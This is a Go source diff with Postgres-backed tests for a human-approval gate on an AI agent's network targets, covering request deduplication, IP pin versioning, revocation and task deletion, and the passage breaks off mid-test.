+// being deleted: denied by the system, nothing pinned. Only target rows are
+// touched. (A conversation needs no counterpart: its rows cascade.)
+func settleTaskTargetRequests(tx *sql.Tx, taskID int64) error {
+	_, err := tx.Exec(`UPDATE intercept_pending SET status='denied', decided_at=NOW(), decided_by='system',
+	audit=CASE WHEN audit IS NULL THEN NULL ELSE audit ||
+	'{"effective_action":"deny","decision_reason":"task deleted","execution_status":"not_executed"}'::jsonb END
+WHERE COALESCE(task_id,'')=$1 AND status='pending' AND target_key IS NOT NULL`, strconv.FormatInt(taskID, 10))
+	return err
+}
+
+// TargetRequest is a new target approval request: the intercept_pending row a
+// gated call asks for when one of its targets has no pin that covers it.
+type TargetRequest struct {
+	Scope     TargetScopeRef
+	Host      string
+	Port      int
+	RuleID    int64 // owning rule of a merged ask; 0 otherwise
+	AgentName string
+	ToolName  string
+	ToolInput []byte
+	Reason    string
+	Audit     *InterceptAudit
+}
+
+// FindOrCreateTargetRequest returns the open request for (scope, host, port),
+// creating it when there is none. At most one such row is open at a time
+// (uq_intercept_pending_target), across goroutines and across instances that
+// share the database, so concurrent calls to one host share one request.
+// created reports whether this call wrote the row. id == 0 means the request
+// that was open got decided in between: the caller goes back to the pin lookup.
+func (d *DB) FindOrCreateTargetRequest(r TargetRequest) (id int64, created bool, err error) {
+	if err := r.Scope.check(); err != nil {
+		return 0, false, err
+	}
+	raw := json.RawMessage(r.ToolInput)
+	if len(raw) == 0 {
+		raw = json.RawMessage("{}")
+	}
+	var ruleID *int64
+	if r.RuleID != 0 {
+		ruleID = &r.RuleID
+	}
+	taskID, convID := r.Scope.pendingScope()
+	key := TargetKey(r.Host, r.Port)
+	err = d.QueryRow(`
+INSERT INTO intercept_pending(rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, reason, decision_source, audit, target_key)
+VALUES ($1, $2, $3, $4, $5, $6, $7, 'target', $8, $9)
+ON CONFLICT (COALESCE(task_id,''), COALESCE(conversation_id,0), target_key)
+    WHERE status = 'pending' AND target_key IS NOT NULL
+DO NOTHING RETURNING id`,
+		ruleID, convID, taskID, r.AgentName, r.ToolName, raw, r.Reason, firstAudit([]*InterceptAudit{r.Audit}), key).Scan(&id)
+	if err == nil {
+		return id, true, nil
+	}
+	if !errors.Is(err, sql.ErrNoRows) {
+		return 0, false, err
+	}
+	taskKey := ""
+	if taskID != nil {
+		taskKey = *taskID
+	}
+	err = d.QueryRow(`SELECT id FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND target_key=$3 AND status='pending'`,
+		taskKey, r.Scope.ConversationID, key).Scan(&id)
+	if errors.Is(err, sql.ErrNoRows) {
+		return 0, false, nil
+	}
+	return id, false, err
+}
+
+// TargetRequestKey returns the target key of an approval row: "" for a classic
+// ask and for an id that does not exist.
+func (d *DB) TargetRequestKey(id int64) (string, error) {
+	var key sql.NullString
+	err := d.QueryRow(`SELECT target_key FROM intercept_pending WHERE id=$1`, id).Scan(&key)
+	if errors.Is(err, sql.ErrNoRows) {
+		return "", nil
+	}
+	return key.String, err
+}
+
+// ResolveTargetRequest settles an open target request with a human decision, in
+// one transaction. Allowed pins the addresses the request displayed: the active
+// pin of the same key, if any, becomes superseded and a new version holds its
+// addresses plus the displayed ones (addresses leave only by revocation).
+// Denied pins nothing. approver and remoteAddr go to the pin and to the row's
+// audit; decided_by on the row stays the actor class, human. ok is false when
+// the row is not an open target request. If the pin cannot be written the row
+// stays pending.
+func (d *DB) ResolveTargetRequest(id int64, allowed bool, approver, remoteAddr string) (pin *TargetPin, ok bool, err error) {
+	tx, err := d.Begin()
+	if err != nil {
+		return nil, false, err
+	}
+	defer tx.Rollback()
+	var taskID sql.NullString
+	var convID sql.NullInt64
+	var raw []byte
+	err = tx.QueryRow(`SELECT task_id, conversation_id, audit FROM intercept_pending
+WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Scan(&taskID, &convID, &raw)
+	if errors.Is(err, sql.ErrNoRows) {
+		return nil, false, nil
+	}
+	if err != nil {
+		return nil, false, err
+	}
+	var audit InterceptAudit
+	if len(raw) > 0 {
+		if err := json.Unmarshal(raw, &audit); err != nil {
+			return nil, false, err
+		}
+	}
+	status, action, reason, execution := "denied", "deny", "user rejected the target; nothing was pinned", "not_executed"
+	if allowed {
+		if len(audit.Targets) != 1 {
+			return nil, false, fmt.Errorf("target request %d records %d targets, want 1", id, len(audit.Targets))
+		}
+		scope := TargetScopeRef{ConversationID: convID.Int64}
+		if taskID.Valid {
+			if scope.TaskID, err = strconv.ParseInt(taskID.String, 10, 64); err != nil {
+				return nil, false, fmt.Errorf("target request %d: task id %q: %w", id, taskID.String, err)
+			}
+		}
+		if pin, err = writeTargetPin(tx, scope, id, &audit.Targets[0], approver, remoteAddr); err != nil {
+			return nil, false, err
+		}
+		status, action, reason = "allowed", "allow", "user approved the target; the displayed addresses were pinned"
+		// A plain target request is host-level: no single call owns its result.
+		execution = "unknown"
+		if audit.MergedAsk && audit.Correlation == "exact" {
+			execution = "awaiting_result"
+		}
+	} else if len(audit.Targets) == 1 {
+		audit.Targets[0].Outcome = "denied"
+	}
+	fields := map[string]any{
+		"effective_action": action, "decision_reason": reason, "execution_status": execution,
+		"targets": audit.Targets,
+	}
+	if approver != "" {
+		fields["approver"] = approver
+	}
+	if remoteAddr != "" {
+		fields["approver_addr"] = remoteAddr
+	}
+	patch, err := json.Marshal(fields)
+	if err != nil {
+		return nil, false, err
+	}
+	if _, err := tx.Exec(`UPDATE intercept_pending SET status=$2, decided_at=NOW(), decided_by='human',
+	audit=COALESCE(audit,'{}'::jsonb) || $3::jsonb WHERE id=$1`, id, status, patch); err != nil {
+		return nil, false, err
+	}
+	if err := tx.Commit(); err != nil {
+		return nil, false, err
+	}
+	return pin, true, nil
+}
+
+// writeTargetPin inserts the pin an approved request creates and fills the
+// request's target with what was pinned. The only writer of target_pins rows.
+func writeTargetPin(tx *sql.Tx, scope TargetScopeRef, interceptID int64, t *InterceptTarget, approver, remoteAddr string) (*TargetPin, error) {
+	if err := scope.check(); err != nil {
+		return nil, err
+	}
+	// Versions count every pin the key ever had, revoked ones included, so a
+	// version number names one pin of the key for good.
+	var version int
+	if err := tx.QueryRow(`SELECT COALESCE(max(version),0)+1 FROM target_pins
+WHERE `+targetPinScope+` AND host=$3 AND port=$4`, scope.TaskID, scope.ConversationID, t.Host, t.Port).Scan(&version); err != nil {
+		return nil, err
+	}
+	ips := map[string]bool{}
+	for _, ip := range t.ResolvedIPs {
+		ips[ip] = true
+	}
+	prev, err := scanTargetPin(tx.QueryRow(`SELECT `+targetPinCols+` FROM target_pins
+WHERE `+targetPinScope+` AND host=$3 AND port=$4 AND status='active' FOR UPDATE`, scope.TaskID, scope.ConversationID, t.Host, t.Port))
+	switch {
+	case errors.Is(err, sql.ErrNoRows):
+	case err != nil:
+		return nil, err
+	default:
+		for _, ip := range prev.PinnedIPs {
+			ips[ip] = true
+		}
+		if _, err := tx.Exec(`UPDATE target_pins SET status='superseded' WHERE id=$1`, prev.ID); err != nil {
+			return nil, err
+		}
+	}
+	pinned := make([]string, 0, len(ips))
+	for ip := range ips {
+		pinned = append(pinned, ip)
+	}
+	sort.Strings(pinned)
+	var taskID, convID *int64
+	if scope.TaskID > 0 {
+		taskID = &scope.TaskID
+	} else {
+		convID = &scope.ConversationID
+	}
+	resolvedAt := t.ResolvedAt
+	if resolvedAt.IsZero() {
+		resolvedAt = time.Now().UTC()
+	}
+	pin, err := scanTargetPin(tx.QueryRow(`
+INSERT INTO target_pins(task_id, conversation_id, host, port, version, pinned_ips, resolver, resolved_at, intercept_id, decided_by, decided_from, name_only_effective)
+VALUES ($1, $2, $3, $4, $5, $6::text[], $7, $8, $9, $10, $11, $12)
+RETURNING `+targetPinCols,
+		taskID, convID, t.Host, t.Port, version, pinned, t.Resolver, resolvedAt, interceptID, approver, remoteAddr, t.NameOnlyEffective))
+	if err != nil {
+		return nil, err
+	}
+	t.Outcome, t.PinID, t.PinVersion, t.PinnedIPs = "pinned", pin.ID, pin.Version, pin.PinnedIPs
+	return pin, nil
+}

db/target_pins_test.go

@@ -0,0 +1,924 @@
+package db
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"slices"
+	"strconv"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"github.com/jackc/pgx/v5/pgconn"
+)
+
+func openTargetDB(t *testing.T) *DB {
+	t.Helper()
+	d, err := Open(testDSN(t))
+	if err != nil {
+		t.Skipf("postgres unavailable (%v) - skipping", err)
+	}
+	t.Cleanup(func() { d.Close() })
+	return d
+}
+
+// targetTask creates a task and removes it, its pins and its approval rows at
+// the end of the test (pins and approval rows outlive a task delete by design).
+func targetTask(t *testing.T, d *DB, opts TaskCreateOptions) *Task {
+	t.Helper()
+	task, err := d.CreateTaskWithOptions("target gate store", "pins and requests", opts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = d.DeleteTask(task.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE task_id=$1`, task.ID)
+		_, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, strconv.FormatInt(task.ID, 10))
+	})
+	return task
+}
+
+func targetConversation(t *testing.T, d *DB) *Conversation {
+	t.Helper()
+	c, err := d.CreateConversation("assistant", fmt.Sprintf("target gate %d", time.Now().UnixNano()), nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_ = d.DeleteConversation(c.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, c.ID)
+	})
+	return c
+}
+
+// openTargetRequest opens the request for (scope, host, port) showing ips.
+func openTargetRequest(t *testing.T, d *DB, scope TargetScopeRef, host string, port int, ips ...string) (int64, bool) {
+	t.Helper()
+	id, created, err := d.FindOrCreateTargetRequest(TargetRequest{
+		Scope: scope, Host: host, Port: port, AgentName: "worker", ToolName: "WebFetch",
+		ToolInput: []byte(`{"url":"https://` + host + `/"}`), Reason: "target " + host + " is not approved",
+		Audit: &InterceptAudit{
+			Correlation: "unavailable", InitialAction: "ask", ExecutionStatus: "not_started",
+			Targets: []InterceptTarget{{Host: host, Port: port, Kind: "domain", ResolvedIPs: ips, Resolver: "system",
+				ResolvedAt: time.Now().UTC(), Reason: "no_pin", Outcome: "requested"}},
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	return id, created
+}
+
+// approveTarget opens a request for the key and approves it.
+func approveTarget(t *testing.T, d *DB, scope TargetScopeRef, host string, port int, ips ...string) *TargetPin {
+	t.Helper()
+	id, created := openTargetRequest(t, d, scope, host, port, ips...)
+	if !created {
+		t.Fatalf("a request for %s:%d was already open", host, port)
+	}
+	pin, ok, err := d.ResolveTargetRequest(id, true, "ARTEX", "198.51.100.9")
+	if err != nil || !ok || pin == nil {
+		t.Fatalf("approve %s:%d: pin=%+v ok=%v err=%v", host, port, pin, ok, err)
+	}
+	return pin
+}
+
+func pendingTargetRows(t *testing.T, d *DB, scope TargetScopeRef) int {
+	t.Helper()
+	var n int
+	task := ""
+	if scope.TaskID > 0 {
+		task = strconv.FormatInt(scope.TaskID, 10)
+	}
+	if err := d.QueryRow(`SELECT count(*) FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND status='pending' AND target_key IS NOT NULL`,
+		task, scope.ConversationID).Scan(&n); err != nil {
+		t.Fatal(err)
+	}
+	return n
+}
+
+// The whole schema is applied on every start. Applying it again must change
+// nothing, add no CHECK to the gate's tables, and leave the cascade of
+// intercept_pending.conversation_id as it is.
+func TestTargetGateSchemaIdempotent(t *testing.T) {
+	snapshot := func() string {
+		t.Helper()
+		d := openTargetDB(t)
+		var b strings.Builder
+		for _, q := range []string{
+			`SELECT table_name||'.'||column_name||' '||data_type||' null='||is_nullable||' default='||COALESCE(column_default,'')
+FROM information_schema.columns
+WHERE table_schema=current_schema() AND (table_name IN ('target_pins','target_gate_exemption_log')
+   OR (table_name IN ('tasks','conversations') AND column_name='target_gate')
+   OR (table_name='intercept_pending' AND column_name='target_key'))
+ORDER BY table_name, ordinal_position`,
+			`SELECT indexdef FROM pg_indexes WHERE schemaname=current_schema()
+AND (tablename IN ('target_pins','target_gate_exemption_log') OR indexname='uq_intercept_pending_target') ORDER BY indexname`,
+			`SELECT conrelid::regclass::text||' '||conname||' '||contype::text||' '||confdeltype::text FROM pg_constraint
+WHERE conrelid IN ('target_pins'::regclass,'target_gate_exemption_log'::regclass,'intercept_pending'::regclass)
+AND contype IN ('c','f','p','u') ORDER BY 1`,
+		} {
+			rows, err := d.Query(q)
+			if err != nil {
+				t.Fatal(err)
+			}
+			for rows.Next() {
+				var line string
+				if err := rows.Scan(&line); err != nil {
+					t.Fatal(err)
+				}
+				b.WriteString(line + "\n")
+			}
+			if err := rows.Err(); err != nil {
+				t.Fatal(err)
+			}
+			rows.Close()
+		}
+		return b.String()
+	}
+	first := snapshot()  // Open applied the schema
+	second := snapshot() // and applied it again
+	if first != second {
+		t.Fatalf("schema changed on the second application:\n--- first\n%s--- second\n%s", first, second)
+	}
+	for _, want := range []string{
+		"tasks.target_gate boolean null=NO default=false",
+		"conversations.target_gate boolean null=NO default=false",
+		"intercept_pending.target_key text null=YES default=",
+		"target_pins.name_only_effective boolean null=NO default=false",
+		"target_gate_exemption_log.digest text",
+		"uq_intercept_pending_target",
+		"uq_target_pins_active",
+		"idx_target_pins_scope",
+		// The cascade stays: no constraint migration.
+		"intercept_pending intercept_pending_conversation_id_fkey f c",
+	} {
+		if !strings.Contains(first, want) {
+			t.Errorf("schema snapshot lacks %q:\n%s", want, first)
+		}
+	}
+	// Only primary keys on the new tables: no CHECK, no foreign key.
+	for _, line := range strings.Split(first, "\n") {
+		if (strings.HasPrefix(line, "target_pins ") || strings.HasPrefix(line, "target_gate_exemption_log ")) && !strings.Contains(line, "_pkey p ") {
+			t.Errorf("unexpected constraint on a target-gate table: %s", line)
+		}
+	}
+}
+
+// Many callers, two instances, one key: exactly one open row, and every caller
+// gets its id. This is what proves that ON CONFLICT infers the partial
+// expression index.
+func TestTargetRequestFindOrCreateIsIdempotent(t *testing.T) {
+	a, b := openTargetDB(t), openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, a, TaskCreateOptions{}).ID}
+	const callers = 24
+	ids := make([]int64, callers)
+	made := make([]bool, callers)
+	var wg sync.WaitGroup
+	for n := range callers {
+		inst := a
+		if n%2 == 1 {
+			inst = b
+		}
+		wg.Go(func() {
+			id, created, err := inst.FindOrCreateTargetRequest(TargetRequest{
+				Scope: scope, Host: "app.example.com", Port: 443, ToolName: "WebFetch", Reason: "concurrent",
+				Audit: &InterceptAudit{Targets: []InterceptTarget{{Host: "app.example.com", Port: 443, ResolvedIPs: []string{"203.0.113.7"}}}},
+			})
+			if err != nil {
+				t.Error(err)
+			}
+			ids[n], made[n] = id, created
+		})
+	}
+	wg.Wait()
+	created := 0
+	for n := range callers {
+		if ids[n] == 0 || ids[n] != ids[0] {
+			t.Fatalf("callers got different requests: %v", ids)
+		}
+		if made[n] {
+			created++
+		}
+	}
+	if created != 1 {
+		t.Fatalf("%d callers created the row, want 1", created)
+	}
+	if n := pendingTargetRows(t, a, scope); n != 1 {
+		t.Fatalf("%d open rows, want 1", n)
+	}
+	// Another port, another scope: other keys, other rows.
+	if id, made := openTargetRequest(t, a, scope, "app.example.com", 80, "203.0.113.7"); !made || id == ids[0] {
+		t.Fatalf("port 80 shared the row of port 443 (id=%d created=%v)", id, made)
+	}
+	conv := targetConversation(t, a)
+	if id, made := openTargetRequest(t, a, TargetScopeRef{ConversationID: conv.ID}, "app.example.com", 443, "203.0.113.7"); !made || id == ids[0] {
+		t.Fatalf("a conversation shared the row of a task (id=%d created=%v)", id, made)
+	}
+	var source string
+	var key *string
+	if err := a.QueryRow(`SELECT decision_source, target_key FROM intercept_pending WHERE id=$1`, ids[0]).Scan(&source, &key); err != nil {
+		t.Fatal(err)
+	}
+	if source != "target" || key == nil || *key != "app.example.com:443" {
+		t.Fatalf("row source=%q key=%v, want target and app.example.com:443", source, key)
+	}
+}
+
+// A decided request does not block the key: the next call opens a new row.
+// There is no sticky denial.
+func TestTargetRequestNewRowAfterDecision(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	first, _ := openTargetRequest(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	if again, made := openTargetRequest(t, d, scope, "app.example.com", 443, "203.0.113.7"); made || again != first {
+		t.Fatalf("second call got id=%d created=%v, want to attach to %d", again, made, first)
+	}
+	if pin, ok, err := d.ResolveTargetRequest(first, false, "ARTEX", "198.51.100.9"); err != nil || !ok || pin != nil {
+		t.Fatalf("deny: pin=%+v ok=%v err=%v", pin, ok, err)
+	}
+	// A second decision on the same row is refused and changes nothing.
+	if _, ok, err := d.ResolveTargetRequest(first, true, "ARTEX", "198.51.100.9"); err != nil || ok {
+		t.Fatalf("second decision: ok=%v err=%v, want refused", ok, err)
+	}
+	if pins, err := d.ListTargetPins(scope); err != nil || len(pins) != 0 {
+		t.Fatalf("a denied request left pins: %+v err=%v", pins, err)
+	}
+	second, made := openTargetRequest(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	if !made || second == first {
+		t.Fatalf("after a denial: id=%d created=%v, want a new row", second, made)
+	}
+	if key, err := d.TargetRequestKey(second); err != nil || key != "app.example.com:443" {
+		t.Fatalf("target key = %q, %v", key, err)
+	}
+	classic, err := d.CreateInterceptPending(0, 0, strconv.FormatInt(scope.TaskID, 10), "worker", "Bash", nil, "classic ask")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if key, err := d.TargetRequestKey(classic); err != nil || key != "" {
+		t.Fatalf("classic ask has target key %q, %v", key, err)
+	}
+	// A classic ask is not a target request: it cannot be resolved as one.
+	if _, ok, err := d.ResolveTargetRequest(classic, true, "ARTEX", ""); err != nil || ok {
+		t.Fatalf("classic ask resolved as a target request: ok=%v err=%v", ok, err)
+	}
+}
+
+// Settling the row, superseding the old pin and writing the new one are one
+// transaction: when the pin cannot be written the row stays pending and the
+// previous pin stays active.
+func TestResolveTargetRequestIsAtomic(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	const host = "pin-insert-fails.example.com"
+	v1 := approveTarget(t, d, scope, host, 443, "203.0.113.7")
+
+	if _, err := d.Exec(`CREATE OR REPLACE FUNCTION test_refuse_target_pin() RETURNS trigger AS $$
+BEGIN
+  IF NEW.host = '` + host + `' THEN RAISE EXCEPTION 'pin insert refused by the test'; END IF;
+  RETURN NEW;
+END $$ LANGUAGE plpgsql`); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() {
+		_, _ = d.Exec(`DROP TRIGGER IF EXISTS test_refuse_target_pin ON target_pins`)
+		_, _ = d.Exec(`DROP FUNCTION IF EXISTS test_refuse_target_pin()`)
+	})
+	if _, err := d.Exec(`CREATE TRIGGER test_refuse_target_pin BEFORE INSERT ON target_pins
+FOR EACH ROW EXECUTE FUNCTION test_refuse_target_pin()`); err != nil {
+		t.Fatal(err)
+	}
+
+	id, _ := openTargetRequest(t, d, scope, host, 443, "203.0.113.99")
+	if pin, ok, err := d.ResolveTargetRequest(id, true, "ARTEX", "198.51.100.9"); err == nil || ok || pin != nil {
+		t.Fatalf("approval with a failing pin insert: pin=%+v ok=%v err=%v, want an error", pin, ok, err)
+	}
+	row, err := d.GetInterceptPending(id)
+	if err != nil || row == nil || row.Status != "pending" || row.DecidedBy != "" {
+		t.Fatalf("row after the failed approval = %+v, %v; want still pending", row, err)
+	}
+	active, err := d.ActiveTargetPins(scope, host, 443)
+	if err != nil || len(active) != 1 || active[0].ID != v1.ID || active[0].Version != 1 {
+		t.Fatalf("active pins after the failed approval = %+v, %v; want v1 untouched", active, err)
+	}
+
+	// Without the failure the same row is approved.
+	if _, err := d.Exec(`DROP TRIGGER test_refuse_target_pin ON target_pins`); err != nil {
+		t.Fatal(err)
+	}
+	if pin, ok, err := d.ResolveTargetRequest(id, true, "ARTEX", "198.51.100.9"); err != nil || !ok || pin == nil || pin.Version != 2 {
+		t.Fatalf("approval after the failure was removed: pin=%+v ok=%v err=%v", pin, ok, err)
+	}
+}
+
+// Approving a request for a pinned key extends the pin: the new version holds
+// the old addresses plus the displayed ones. Addresses leave only by revocation.
+func TestTargetPinVersioningExtends(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	v1 := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	if v1.Version != 1 || !slices.Equal(v1.PinnedIPs, []string{"203.0.113.7"}) || v1.Status != TargetPinActive ||
+		v1.DecidedBy != "ARTEX" || v1.DecidedFrom != "198.51.100.9" || v1.Resolver != "system" || v1.InterceptID == nil ||
+		v1.TaskID == nil || *v1.TaskID != scope.TaskID || v1.ConversationID != nil || v1.NameOnlyEffective {
+		t.Fatalf("v1 = %+v", v1)
+	}
+	v2 := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.9", "203.0.113.7", "203.0.113.8")
+	if v2.Version != 2 || !slices.Equal(v2.PinnedIPs, []string{"203.0.113.7", "203.0.113.8", "203.0.113.9"}) {
+		t.Fatalf("v2 = %+v, want version 2 with the union, sorted", v2)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 2 || pins[0].ID != v2.ID || pins[0].Status != TargetPinActive ||
+		pins[1].ID != v1.ID || pins[1].Status != TargetPinSuperseded {
+		t.Fatalf("pins = %+v, %v; want v2 active then v1 superseded", pins, err)
+	}
+	// The request row records what was pinned and by whom; decided_by on the row
+	// stays the actor class.
+	detail, err := d.GetInterceptDetail(*v2.InterceptID)
+	if err != nil || detail == nil || detail.Status != "allowed" || detail.DecidedBy != "human" || detail.DecisionSource != "target" ||
+		detail.Audit == nil || detail.Audit.Approver != "ARTEX" || detail.Audit.ApproverAddr != "198.51.100.9" ||
+		detail.Audit.EffectiveAction != "allow" || len(detail.Audit.Targets) != 1 {
+		t.Fatalf("request row = %+v, %v", detail, err)
+	}
+	if got := detail.Audit.Targets[0]; got.Outcome != "pinned" || got.PinID != v2.ID || got.PinVersion != 2 || len(got.PinnedIPs) != 3 {
+		t.Fatalf("recorded target = %+v", got)
+	}
+}
+
+// One active pin per key is a database fact, across instances.
+func TestTargetPinOneActivePerKey(t *testing.T) {
+	a, b := openTargetDB(t), openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, a, TaskCreateOptions{}).ID}
+	approveTarget(t, a, scope, "app.example.com", 443, "203.0.113.7")
+	insert := func(port int, status string) error {
+		_, err := b.Exec(`INSERT INTO target_pins(task_id, host, port, version, pinned_ips, status)
+VALUES ($1, 'app.example.com', $2, 9, '{203.0.113.99}', $3)`, scope.TaskID, port, status)
+		return err
+	}
+	var pgErr *pgconn.PgError
+	if err := insert(443, "active"); !errors.As(err, &pgErr) || pgErr.Code != "23505" {
+		t.Fatalf("second active pin on one key: %v, want a unique violation", err)
+	}
+	if err := insert(443, "superseded"); err != nil {
+		t.Fatalf("a non-active pin on the same key must be allowed: %v", err)
+	}
+	if err := insert(8443, "active"); err != nil {
+		t.Fatalf("an active pin on another port must be allowed: %v", err)
+	}
+	approveTarget(t, b, scope, "app.example.com", 443, "203.0.113.8")
+	var active int
+	if err := a.QueryRow(`SELECT count(*) FROM target_pins WHERE task_id=$1 AND host='app.example.com' AND port=443 AND status='active'`,
+		scope.TaskID).Scan(&active); err != nil || active != 1 {
+		t.Fatalf("%d active pins on the key after a second approval (%v), want 1", active, err)
+	}
+}
+
+func TestTargetPinRevokeIdempotent(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	other := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+
+	// Another scope cannot see or revoke the pin.
+	if got, err := d.RevokeTargetPin(other, pin.ID); err != nil || got != nil {
+		t.Fatalf("revoke through another scope = %+v, %v; want nil", got, err)
+	}
+	if got, err := d.RevokeTargetPin(scope, pin.ID+1000000); err != nil || got != nil {
+		t.Fatalf("revoke of an unknown pin = %+v, %v; want nil", got, err)
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 1 {
+		t.Fatalf("pin no longer active after foreign revokes: %+v, %v", active, err)
+	}
+
+	first, err := d.RevokeTargetPin(scope, pin.ID)
+	if err != nil || first == nil || first.Status != TargetPinRevoked || first.RevokedReason != TargetPinRevokedByOperator || first.RevokedAt == nil {
+		t.Fatalf("revoke = %+v, %v", first, err)
+	}
+	second, err := d.RevokeTargetPin(scope, pin.ID)
+	if err != nil || second == nil || second.Status != TargetPinRevoked || !second.RevokedAt.Equal(*first.RevokedAt) {
+		t.Fatalf("second revoke = %+v, %v; want the first revocation unchanged", second, err)
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 0 {
+		t.Fatalf("a revoked pin still matches: %+v, %v", active, err)
+	}
+	// A new approval starts from the displayed addresses only, under a new version.
+	again := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.50")
+	if again.Version != 2 || !slices.Equal(again.PinnedIPs, []string{"203.0.113.50"}) {
+		t.Fatalf("pin after a revocation = %+v, want version 2 holding only the new address", again)
+	}
+}
+
+// A pin on port 0 (port not declared) covers every port of the host. A pin on
+// a specific port covers that port only, and never a target whose port is not
+// declared.
+func TestActiveTargetPinPortPrecedence(t *testing.T) {
+	d := openTargetDB(t)
+	scope := TargetScopeRef{TaskID: targetTask(t, d, TaskCreateOptions{}).ID}
+	anyPort := approveTarget(t, d, scope, "both.example.com", 0, "203.0.113.1")
+	exact := approveTarget(t, d, scope, "both.example.com", 443, "203.0.113.2")
+	only443 := approveTarget(t, d, scope, "exact.example.com", 443, "203.0.113.3")
+
+	for _, tc := range []struct {
+		host string
+		port int
+		want []int64
+	}{
+		{"both.example.com", 443, []int64{exact.ID, anyPort.ID}}, // the exact port first
+		{"both.example.com", 80, []int64{anyPort.ID}},
+		{"both.example.com", 8443, []int64{anyPort.ID}},
+		{"both.example.com", 0, []int64{anyPort.ID}}, // never the pin on 443
+		{"exact.example.com", 443, []int64{only443.ID}},
+		{"exact.example.com", 80, nil},
+		{"exact.example.com", 0, nil}, // a specific port never covers "not declared"
+		{"unknown.example.com", 443, nil},
+	} {
+		pins, err := d.ActiveTargetPins(scope, tc.host, tc.port)
+		if err != nil {
+			t.Fatal(err)
+		}
+		var got []int64
+		for _, p := range pins {
+			got = append(got, p.ID)
+		}
+		if !slices.Equal(got, tc.want) {
+			t.Errorf("candidates for %s:%d = %v, want %v", tc.host, tc.port, got, tc.want)
+		}
+	}
+	// The address sets stay apart: each candidate holds its own.
+	pins, _ := d.ActiveTargetPins(scope, "both.example.com", 443)
+	if len(pins) != 2 || !slices.Equal(pins[0].PinnedIPs, []string{"203.0.113.2"}) || !slices.Equal(pins[1].PinnedIPs, []string{"203.0.113.1"}) {
+		t.Fatalf("candidates = %+v, want two pins with separate addresses", pins)
+	}
+}
+
+// A hard delete keeps the gate's history: pins revoked, approval rows readable,
+// no target request left open.
+func TestTaskDeleteKeepsPinsAndApprovalRows(t *testing.T) {
+	d := openTargetDB(t)
+	task := targetTask(t, d, TaskCreateOptions{})
+	other := targetTask(t, d, TaskCreateOptions{})
+	scope := TargetScopeRef{TaskID: task.ID}
+	pin := approveTarget(t, d, scope, "app.example.com", 443, "203.0.113.7")
+	kept := approveTarget(t, d, TargetScopeRef{TaskID: other.ID}, "app.example.com", 443, "203.0.113.7")
+	open, _ := openTargetRequest(t, d, scope, "new.example.com", 443, "203.0.113.20")
+	classic, err := d.CreateInterceptPending(0, 0, strconv.FormatInt(task.ID, 10), "worker", "Bash", nil, "classic ask")
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	if err := d.DeleteTask(task.ID); err != nil {
+		t.Fatal(err)
+	}
+	pins, err := d.ListTargetPins(scope)
+	if err != nil || len(pins) != 1 || pins[0].ID != pin.ID || pins[0].Status != TargetPinRevoked ||
+		pins[0].RevokedReason != TargetPinRevokedTaskDeleted || pins[0].RevokedAt == nil ||
+		!slices.Equal(pins[0].PinnedIPs, []string{"203.0.113.7"}) || pins[0].DecidedBy != "ARTEX" {
+		t.Fatalf("pins of the deleted task = %+v, %v; want one revoked pin, still readable", pins, err)
+	}
+	if active, err := d.ActiveTargetPins(scope, "app.example.com", 443); err != nil || len(active) != 0 {
+		t.Fatalf("a pin of the deleted task still matches: %+v, %v", active, err)
+	}
+	if active, err := d.ActiveTargetPins(TargetScopeRef{TaskID: other.ID}, "app.example.com", 443); err != nil || len(active) != 1 || active[0].ID != kept.ID {
+		t.Fatalf("the pin of another task was touched: %+v, %v", active, err)
+	}
+	approved, err := d.GetInterceptDetail(*pin.InterceptID)
+	if err != nil || approved == nil || approved.Status != "allowed" || approved.Audit == nil || approved.Audit.Approver != "ARTEX" {
+		t.Fatalf("approval row of the deleted task = %+v, %v; want still readable", approved, err)
+	}
+	settled, err := d.GetInterceptDetail(open)
+	if err != nil || settled == nil || settled.Status != "denied" || settled.DecidedBy != "system" ||
+		settled.Audit == nil || settled.Audit.EffectiveAction != "deny" || settled.Audit.DecisionReason != "task deleted" {
+		t.Fatalf("open target request after the delete = %+v, %v; want denied by the system", settled, err)
+	}
+	if n := pendingTargetRows(t, d, scope); n != 0 {
